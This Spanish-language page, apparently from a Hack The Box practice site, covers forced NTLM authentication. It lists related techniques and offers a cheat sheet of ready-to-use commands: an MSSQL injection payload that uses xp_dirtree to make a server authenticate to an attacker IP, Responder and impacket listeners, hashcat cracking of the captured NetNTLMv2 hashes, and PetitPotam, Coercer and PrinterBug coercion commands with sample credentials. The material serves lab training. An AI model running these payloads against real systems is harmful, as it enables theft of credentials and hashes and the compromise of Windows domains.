Autenticación forzada
Obligar a un equipo o usuario a autenticarse contra ti (UNC, PetitPotam, PrinterBug, ficheros .lnk/.scf).
Cómo aparece en Hack The Box
Cualquier sitio donde puedas meter una ruta \\tu-ip\x sirve: xp_dirtree en MSSQL, un include en una web Windows, un fichero en una carpeta compartida o la coerción RPC del DC.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Cross-Site Scripting (XSS)
- CSRF
- Inyección SQL
- SSRF
- Credenciales guardadas / DPAPI
- ADCS (certificados)
- Captura y relay NTLM
- Pass-the-hash / ticket
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Volcado de SAM/LSA/LSASS
- Abuso de ACLs (BloodHound)
- GPP y abuso de GPO
- Cracking de hashes
Guías
- Captura y NTLM relay: Responder, ntlmrelayx y coerción con PetitPotam 5 min de lectura Capturar hashes NetNTLMv2 con Responder, saber cuándo se pueden retransmitir (firma SMB, LDAP, ADCS), usar ntlmrelayx y forzar autenticaciones con PetitPotam.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Payloads de inyección SQL › MSSQL
Capturar el hash NetNTLMv2 de la cuenta del servicio
'; EXEC master..xp_dirtree '\\10.10.14.5\share';--
Antes, en tu máquina, sudo responder -I tun0 (o impacket-smbserver share . -smb2support). Crackea el hash con hashcat -m 5600.
Active Directory a fondo › NTLM relay
PetitPotam (MS-EFSR)
Atacante
python3 PetitPotam.py -u usuario -p 'Password123!' -d box.htb 10.10.14.5 10.10.11.20
Coercer (prueba varios métodos)
Atacante
coercer coerce -u usuario -p 'Password123!' -d box.htb -l 10.10.14.5 -t 10.10.11.20
PrinterBug (MS-RPRN)
Atacante
python3 dementor.py 10.10.14.5 10.10.11.20 -u usuario -p 'Password123!' -d box.htb
Responder › Capturar hashes
Forzar la autenticación desde MSSQL
Víctima
EXEC master..xp_dirtree '\\10.10.14.5\share'
Ningún comando coincide.